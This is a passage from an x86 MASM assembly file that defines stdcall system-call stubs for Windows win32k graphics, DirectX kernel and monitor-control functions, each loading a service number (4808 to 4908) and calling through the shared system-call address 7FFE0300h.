NtGdiFONTOBJ_pvTrueTypeFontFile ENDP ; ULONG __stdcall NtGdiFONTOBJ_cGetAllGlyphHandles( ULONG arg_01 , ULONG arg_02 ); NtGdiFONTOBJ_cGetAllGlyphHandles PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4808 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiFONTOBJ_cGetAllGlyphHandles ENDP ; ULONG __stdcall NtGdiSTROBJ_bEnum( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSTROBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4809 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSTROBJ_bEnum ENDP ; ULONG __stdcall NtGdiSTROBJ_bEnumPositionsOnly( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSTROBJ_bEnumPositionsOnly PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4810 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSTROBJ_bEnumPositionsOnly ENDP ; ULONG __stdcall NtGdiSTROBJ_bGetAdvanceWidths( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSTROBJ_bGetAdvanceWidths PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4811 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSTROBJ_bGetAdvanceWidths ENDP ; ULONG __stdcall NtGdiSTROBJ_vEnumStart( ULONG arg_01 ); NtGdiSTROBJ_vEnumStart PROC STDCALL arg_01:DWORD mov eax , 4812 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSTROBJ_vEnumStart ENDP ; ULONG __stdcall NtGdiSTROBJ_dwGetCodePage( ULONG arg_01 ); NtGdiSTROBJ_dwGetCodePage PROC STDCALL arg_01:DWORD mov eax , 4813 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiSTROBJ_dwGetCodePage ENDP ; ULONG __stdcall NtGdiPATHOBJ_vGetBounds( ULONG arg_01 , ULONG arg_02 ); NtGdiPATHOBJ_vGetBounds PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4814 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiPATHOBJ_vGetBounds ENDP ; ULONG __stdcall NtGdiPATHOBJ_bEnum( ULONG arg_01 , ULONG arg_02 ); NtGdiPATHOBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4815 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiPATHOBJ_bEnum ENDP ; ULONG __stdcall NtGdiPATHOBJ_vEnumStart( ULONG arg_01 ); NtGdiPATHOBJ_vEnumStart PROC STDCALL arg_01:DWORD mov eax , 4816 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiPATHOBJ_vEnumStart ENDP ; ULONG __stdcall NtGdiPATHOBJ_vEnumStartClipLines( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiPATHOBJ_vEnumStartClipLines PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4817 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiPATHOBJ_vEnumStartClipLines ENDP ; ULONG __stdcall NtGdiPATHOBJ_bEnumClipLines( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiPATHOBJ_bEnumClipLines PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4818 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiPATHOBJ_bEnumClipLines ENDP ; ULONG __stdcall NtGdiGetDhpdev( ULONG arg_01 ); NtGdiGetDhpdev PROC STDCALL arg_01:DWORD mov eax , 4819 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiGetDhpdev ENDP ; ULONG __stdcall NtGdiEngCheckAbort( ULONG arg_01 ); NtGdiEngCheckAbort PROC STDCALL arg_01:DWORD mov eax , 4820 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngCheckAbort ENDP ; ULONG __stdcall NtGdiHT_Get8BPPFormatPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiHT_Get8BPPFormatPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4821 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiHT_Get8BPPFormatPalette ENDP ; ULONG __stdcall NtGdiHT_Get8BPPMaskPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiHT_Get8BPPMaskPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4822 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiHT_Get8BPPMaskPalette ENDP ; ULONG __stdcall NtGdiUpdateTransform( ULONG arg_01 ); NtGdiUpdateTransform PROC STDCALL arg_01:DWORD mov eax , 4823 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUpdateTransform ENDP ; ULONG __stdcall NtGdiSetPUMPDOBJ( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiSetPUMPDOBJ PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4824 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiSetPUMPDOBJ ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_DeleteRbrush( ULONG arg_01 , ULONG arg_02 ); NtGdiBRUSHOBJ_DeleteRbrush PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4825 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiBRUSHOBJ_DeleteRbrush ENDP ; ULONG __stdcall NtGdiUMPDEngFreeUserMem( ULONG arg_01 ); NtGdiUMPDEngFreeUserMem PROC STDCALL arg_01:DWORD mov eax , 4826 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiUMPDEngFreeUserMem ENDP ; ULONG __stdcall NtGdiDrawStream( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDrawStream PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4827 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDrawStream ENDP ; ULONG __stdcall NtGdiSfmGetNotificationTokens( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiSfmGetNotificationTokens PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4828 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiSfmGetNotificationTokens ENDP ; ULONG __stdcall NtGdiHLSurfGetInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiHLSurfGetInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4829 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiHLSurfGetInformation ENDP ; ULONG __stdcall NtGdiHLSurfSetInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiHLSurfSetInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4830 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiHLSurfSetInformation ENDP ; ULONG __stdcall NtGdiDdDDICreateAllocation( ULONG arg_01 ); NtGdiDdDDICreateAllocation PROC STDCALL arg_01:DWORD mov eax , 4831 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateAllocation ENDP ; ULONG __stdcall NtGdiDdDDIQueryResourceInfo( ULONG arg_01 ); NtGdiDdDDIQueryResourceInfo PROC STDCALL arg_01:DWORD mov eax , 4832 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIQueryResourceInfo ENDP ; ULONG __stdcall NtGdiDdDDIOpenResource( ULONG arg_01 ); NtGdiDdDDIOpenResource PROC STDCALL arg_01:DWORD mov eax , 4833 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenResource ENDP ; ULONG __stdcall NtGdiDdDDIDestroyAllocation( ULONG arg_01 ); NtGdiDdDDIDestroyAllocation PROC STDCALL arg_01:DWORD mov eax , 4834 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyAllocation ENDP ; ULONG __stdcall NtGdiDdDDISetAllocationPriority( ULONG arg_01 ); NtGdiDdDDISetAllocationPriority PROC STDCALL arg_01:DWORD mov eax , 4835 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetAllocationPriority ENDP ; ULONG __stdcall NtGdiDdDDIQueryAllocationResidency( ULONG arg_01 ); NtGdiDdDDIQueryAllocationResidency PROC STDCALL arg_01:DWORD mov eax , 4836 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIQueryAllocationResidency ENDP ; ULONG __stdcall NtGdiDdDDICreateDevice( ULONG arg_01 ); NtGdiDdDDICreateDevice PROC STDCALL arg_01:DWORD mov eax , 4837 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateDevice ENDP ; ULONG __stdcall NtGdiDdDDIDestroyDevice( ULONG arg_01 ); NtGdiDdDDIDestroyDevice PROC STDCALL arg_01:DWORD mov eax , 4838 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyDevice ENDP ; ULONG __stdcall NtGdiDdDDICreateContext( ULONG arg_01 ); NtGdiDdDDICreateContext PROC STDCALL arg_01:DWORD mov eax , 4839 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateContext ENDP ; ULONG __stdcall NtGdiDdDDIDestroyContext( ULONG arg_01 ); NtGdiDdDDIDestroyContext PROC STDCALL arg_01:DWORD mov eax , 4840 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyContext ENDP ; ULONG __stdcall NtGdiDdDDICreateSynchronizationObject( ULONG arg_01 ); NtGdiDdDDICreateSynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4841 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateSynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDIOpenSynchronizationObject( ULONG arg_01 ); NtGdiDdDDIOpenSynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4842 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenSynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDIDestroySynchronizationObject( ULONG arg_01 ); NtGdiDdDDIDestroySynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4843 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroySynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDIWaitForSynchronizationObject( ULONG arg_01 ); NtGdiDdDDIWaitForSynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4844 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIWaitForSynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDISignalSynchronizationObject( ULONG arg_01 ); NtGdiDdDDISignalSynchronizationObject PROC STDCALL arg_01:DWORD mov eax , 4845 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISignalSynchronizationObject ENDP ; ULONG __stdcall NtGdiDdDDIGetRuntimeData( ULONG arg_01 ); NtGdiDdDDIGetRuntimeData PROC STDCALL arg_01:DWORD mov eax , 4846 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetRuntimeData ENDP ; ULONG __stdcall NtGdiDdDDIQueryAdapterInfo( ULONG arg_01 ); NtGdiDdDDIQueryAdapterInfo PROC STDCALL arg_01:DWORD mov eax , 4847 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIQueryAdapterInfo ENDP ; ULONG __stdcall NtGdiDdDDILock( ULONG arg_01 ); NtGdiDdDDILock PROC STDCALL arg_01:DWORD mov eax , 4848 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDILock ENDP ; ULONG __stdcall NtGdiDdDDIUnlock( ULONG arg_01 ); NtGdiDdDDIUnlock PROC STDCALL arg_01:DWORD mov eax , 4849 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIUnlock ENDP ; ULONG __stdcall NtGdiDdDDIGetDisplayModeList( ULONG arg_01 ); NtGdiDdDDIGetDisplayModeList PROC STDCALL arg_01:DWORD mov eax , 4850 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetDisplayModeList ENDP ; ULONG __stdcall NtGdiDdDDISetDisplayMode( ULONG arg_01 ); NtGdiDdDDISetDisplayMode PROC STDCALL arg_01:DWORD mov eax , 4851 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetDisplayMode ENDP ; ULONG __stdcall NtGdiDdDDIGetMultisampleMethodList( ULONG arg_01 ); NtGdiDdDDIGetMultisampleMethodList PROC STDCALL arg_01:DWORD mov eax , 4852 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetMultisampleMethodList ENDP ; ULONG __stdcall NtGdiDdDDIPresent( ULONG arg_01 ); NtGdiDdDDIPresent PROC STDCALL arg_01:DWORD mov eax , 4853 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIPresent ENDP ; ULONG __stdcall NtGdiDdDDIRender( ULONG arg_01 ); NtGdiDdDDIRender PROC STDCALL arg_01:DWORD mov eax , 4854 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIRender ENDP ; ULONG __stdcall NtGdiDdDDIOpenAdapterFromDeviceName( ULONG arg_01 ); NtGdiDdDDIOpenAdapterFromDeviceName PROC STDCALL arg_01:DWORD mov eax , 4855 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenAdapterFromDeviceName ENDP ; ULONG __stdcall NtGdiDdDDIOpenAdapterFromHdc( ULONG arg_01 ); NtGdiDdDDIOpenAdapterFromHdc PROC STDCALL arg_01:DWORD mov eax , 4856 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenAdapterFromHdc ENDP ; ULONG __stdcall NtGdiDdDDICloseAdapter( ULONG arg_01 ); NtGdiDdDDICloseAdapter PROC STDCALL arg_01:DWORD mov eax , 4857 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICloseAdapter ENDP ; ULONG __stdcall NtGdiDdDDIGetSharedPrimaryHandle( ULONG arg_01 ); NtGdiDdDDIGetSharedPrimaryHandle PROC STDCALL arg_01:DWORD mov eax , 4858 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetSharedPrimaryHandle ENDP ; ULONG __stdcall NtGdiDdDDIEscape( ULONG arg_01 ); NtGdiDdDDIEscape PROC STDCALL arg_01:DWORD mov eax , 4859 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIEscape ENDP ; ULONG __stdcall NtGdiDdDDIQueryStatistics( ULONG arg_01 ); NtGdiDdDDIQueryStatistics PROC STDCALL arg_01:DWORD mov eax , 4860 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIQueryStatistics ENDP ; ULONG __stdcall NtGdiDdDDISetVidPnSourceOwner( ULONG arg_01 ); NtGdiDdDDISetVidPnSourceOwner PROC STDCALL arg_01:DWORD mov eax , 4861 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetVidPnSourceOwner ENDP ; ULONG __stdcall NtGdiDdDDIGetPresentHistory( ULONG arg_01 ); NtGdiDdDDIGetPresentHistory PROC STDCALL arg_01:DWORD mov eax , 4862 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetPresentHistory ENDP ; ULONG __stdcall NtGdiDdDDIGetPresentQueueEvent( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDDIGetPresentQueueEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4863 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDDIGetPresentQueueEvent ENDP ; ULONG __stdcall NtGdiDdDDICreateOverlay( ULONG arg_01 ); NtGdiDdDDICreateOverlay PROC STDCALL arg_01:DWORD mov eax , 4864 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateOverlay ENDP ; ULONG __stdcall NtGdiDdDDIUpdateOverlay( ULONG arg_01 ); NtGdiDdDDIUpdateOverlay PROC STDCALL arg_01:DWORD mov eax , 4865 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIUpdateOverlay ENDP ; ULONG __stdcall NtGdiDdDDIFlipOverlay( ULONG arg_01 ); NtGdiDdDDIFlipOverlay PROC STDCALL arg_01:DWORD mov eax , 4866 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIFlipOverlay ENDP ; ULONG __stdcall NtGdiDdDDIDestroyOverlay( ULONG arg_01 ); NtGdiDdDDIDestroyOverlay PROC STDCALL arg_01:DWORD mov eax , 4867 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyOverlay ENDP ; ULONG __stdcall NtGdiDdDDIWaitForVerticalBlankEvent( ULONG arg_01 ); NtGdiDdDDIWaitForVerticalBlankEvent PROC STDCALL arg_01:DWORD mov eax , 4868 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIWaitForVerticalBlankEvent ENDP ; ULONG __stdcall NtGdiDdDDISetGammaRamp( ULONG arg_01 ); NtGdiDdDDISetGammaRamp PROC STDCALL arg_01:DWORD mov eax , 4869 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetGammaRamp ENDP ; ULONG __stdcall NtGdiDdDDIGetDeviceState( ULONG arg_01 ); NtGdiDdDDIGetDeviceState PROC STDCALL arg_01:DWORD mov eax , 4870 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetDeviceState ENDP ; ULONG __stdcall NtGdiDdDDICreateDCFromMemory( ULONG arg_01 ); NtGdiDdDDICreateDCFromMemory PROC STDCALL arg_01:DWORD mov eax , 4871 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateDCFromMemory ENDP ; ULONG __stdcall NtGdiDdDDIDestroyDCFromMemory( ULONG arg_01 ); NtGdiDdDDIDestroyDCFromMemory PROC STDCALL arg_01:DWORD mov eax , 4872 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyDCFromMemory ENDP ; ULONG __stdcall NtGdiDdDDISetContextSchedulingPriority( ULONG arg_01 ); NtGdiDdDDISetContextSchedulingPriority PROC STDCALL arg_01:DWORD mov eax , 4873 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetContextSchedulingPriority ENDP ; ULONG __stdcall NtGdiDdDDIGetContextSchedulingPriority( ULONG arg_01 ); NtGdiDdDDIGetContextSchedulingPriority PROC STDCALL arg_01:DWORD mov eax , 4874 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetContextSchedulingPriority ENDP ; ULONG __stdcall NtGdiDdDDISetProcessSchedulingPriorityClass( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDDISetProcessSchedulingPriorityClass PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4875 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDDISetProcessSchedulingPriorityClass ENDP ; ULONG __stdcall NtGdiDdDDIGetProcessSchedulingPriorityClass( ULONG arg_01 , ULONG arg_02 ); NtGdiDdDDIGetProcessSchedulingPriorityClass PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4876 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDdDDIGetProcessSchedulingPriorityClass ENDP ; ULONG __stdcall NtGdiDdDDIReleaseProcessVidPnSourceOwners( ULONG arg_01 ); NtGdiDdDDIReleaseProcessVidPnSourceOwners PROC STDCALL arg_01:DWORD mov eax , 4877 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIReleaseProcessVidPnSourceOwners ENDP ; ULONG __stdcall NtGdiDdDDIGetScanLine( ULONG arg_01 ); NtGdiDdDDIGetScanLine PROC STDCALL arg_01:DWORD mov eax , 4878 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetScanLine ENDP ; ULONG __stdcall NtGdiDdDDISetQueuedLimit( ULONG arg_01 ); NtGdiDdDDISetQueuedLimit PROC STDCALL arg_01:DWORD mov eax , 4879 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetQueuedLimit ENDP ; ULONG __stdcall NtGdiDdDDIPollDisplayChildren( ULONG arg_01 ); NtGdiDdDDIPollDisplayChildren PROC STDCALL arg_01:DWORD mov eax , 4880 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIPollDisplayChildren ENDP ; ULONG __stdcall NtGdiDdDDIInvalidateActiveVidPn( ULONG arg_01 ); NtGdiDdDDIInvalidateActiveVidPn PROC STDCALL arg_01:DWORD mov eax , 4881 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIInvalidateActiveVidPn ENDP ; ULONG __stdcall NtGdiDdDDICheckOcclusion( ULONG arg_01 ); NtGdiDdDDICheckOcclusion PROC STDCALL arg_01:DWORD mov eax , 4882 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICheckOcclusion ENDP ; ULONG __stdcall NtGdiDdDDIWaitForIdle( ULONG arg_01 ); NtGdiDdDDIWaitForIdle PROC STDCALL arg_01:DWORD mov eax , 4883 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIWaitForIdle ENDP ; ULONG __stdcall NtGdiDdDDICheckMonitorPowerState( ULONG arg_01 ); NtGdiDdDDICheckMonitorPowerState PROC STDCALL arg_01:DWORD mov eax , 4884 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICheckMonitorPowerState ENDP ; ULONG __stdcall NtGdiDdDDICheckExclusiveOwnership( ); NtGdiDdDDICheckExclusiveOwnership PROC STDCALL mov eax , 4885 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiDdDDICheckExclusiveOwnership ENDP ; ULONG __stdcall NtGdiDdDDISetDisplayPrivateDriverFormat( ULONG arg_01 ); NtGdiDdDDISetDisplayPrivateDriverFormat PROC STDCALL arg_01:DWORD mov eax , 4886 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISetDisplayPrivateDriverFormat ENDP ; ULONG __stdcall NtGdiDdDDISharedPrimaryLockNotification( ULONG arg_01 ); NtGdiDdDDISharedPrimaryLockNotification PROC STDCALL arg_01:DWORD mov eax , 4887 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISharedPrimaryLockNotification ENDP ; ULONG __stdcall NtGdiDdDDISharedPrimaryUnLockNotification( ULONG arg_01 ); NtGdiDdDDISharedPrimaryUnLockNotification PROC STDCALL arg_01:DWORD mov eax , 4888 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDISharedPrimaryUnLockNotification ENDP ; ULONG __stdcall NtGdiDdDDICreateKeyedMutex( ULONG arg_01 ); NtGdiDdDDICreateKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4889 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICreateKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIOpenKeyedMutex( ULONG arg_01 ); NtGdiDdDDIOpenKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4890 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIOpenKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIDestroyKeyedMutex( ULONG arg_01 ); NtGdiDdDDIDestroyKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4891 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIDestroyKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIAcquireKeyedMutex( ULONG arg_01 ); NtGdiDdDDIAcquireKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4892 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIAcquireKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIReleaseKeyedMutex( ULONG arg_01 ); NtGdiDdDDIReleaseKeyedMutex PROC STDCALL arg_01:DWORD mov eax , 4893 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIReleaseKeyedMutex ENDP ; ULONG __stdcall NtGdiDdDDIConfigureSharedResource( ULONG arg_01 ); NtGdiDdDDIConfigureSharedResource PROC STDCALL arg_01:DWORD mov eax , 4894 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIConfigureSharedResource ENDP ; ULONG __stdcall NtGdiDdDDIGetOverlayState( ULONG arg_01 ); NtGdiDdDDIGetOverlayState PROC STDCALL arg_01:DWORD mov eax , 4895 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDIGetOverlayState ENDP ; ULONG __stdcall NtGdiDdDDICheckVidPnExclusiveOwnership( ULONG arg_01 ); NtGdiDdDDICheckVidPnExclusiveOwnership PROC STDCALL arg_01:DWORD mov eax , 4896 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICheckVidPnExclusiveOwnership ENDP ; ULONG __stdcall NtGdiDdDDICheckSharedResourceAccess( ULONG arg_01 ); NtGdiDdDDICheckSharedResourceAccess PROC STDCALL arg_01:DWORD mov eax , 4897 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDdDDICheckSharedResourceAccess ENDP ; ULONG __stdcall DxgStubGetDriverInfo( ULONG arg_01 , ULONG arg_02 ); DxgStubGetDriverInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4898 mov edx , 7FFE0300h call dword ptr [edx] ret 8 DxgStubGetDriverInfo ENDP ; ULONG __stdcall DxgStubContextDestroy( ULONG arg_01 ); DxgStubContextDestroy PROC STDCALL arg_01:DWORD mov eax , 4899 mov edx , 7FFE0300h call dword ptr [edx] ret 4 DxgStubContextDestroy ENDP ; ULONG __stdcall NtGdiGetNumberOfPhysicalMonitors( ULONG arg_01 , ULONG arg_02 ); NtGdiGetNumberOfPhysicalMonitors PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4900 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiGetNumberOfPhysicalMonitors ENDP ; ULONG __stdcall NtGdiGetPhysicalMonitors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiGetPhysicalMonitors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4901 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiGetPhysicalMonitors ENDP ; ULONG __stdcall NtGdiGetPhysicalMonitorDescription( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiGetPhysicalMonitorDescription PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4902 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiGetPhysicalMonitorDescription ENDP ; ULONG __stdcall DestroyPhysicalMonitor( ULONG arg_01 ); DestroyPhysicalMonitor PROC STDCALL arg_01:DWORD mov eax , 4903 mov edx , 7FFE0300h call dword ptr [edx] ret 4 DestroyPhysicalMonitor ENDP ; ULONG __stdcall NtGdiDDCCIGetVCPFeature( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiDDCCIGetVCPFeature PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4904 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiDDCCIGetVCPFeature ENDP ; ULONG __stdcall NtGdiDDCCISetVCPFeature( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDDCCISetVCPFeature PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4905 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDDCCISetVCPFeature ENDP ; ULONG __stdcall NtGdiDDCCISaveCurrentSettings( ULONG arg_01 ); NtGdiDDCCISaveCurrentSettings PROC STDCALL arg_01:DWORD mov eax , 4906 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiDDCCISaveCurrentSettings ENDP ; ULONG __stdcall NtGdiDDCCIGetCapabilitiesStringLength( ULONG arg_01 , ULONG arg_02 ); NtGdiDDCCIGetCapabilitiesStringLength PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4907 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiDDCCIGetCapabilitiesStringLength ENDP ; ULONG __stdcall NtGdiDDCCIGetCapabilitiesString( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiDDCCIGetCapabilitiesString PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4908 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiDDCCIGetCapabilitiesString ENDP ; ULONG __stdcall 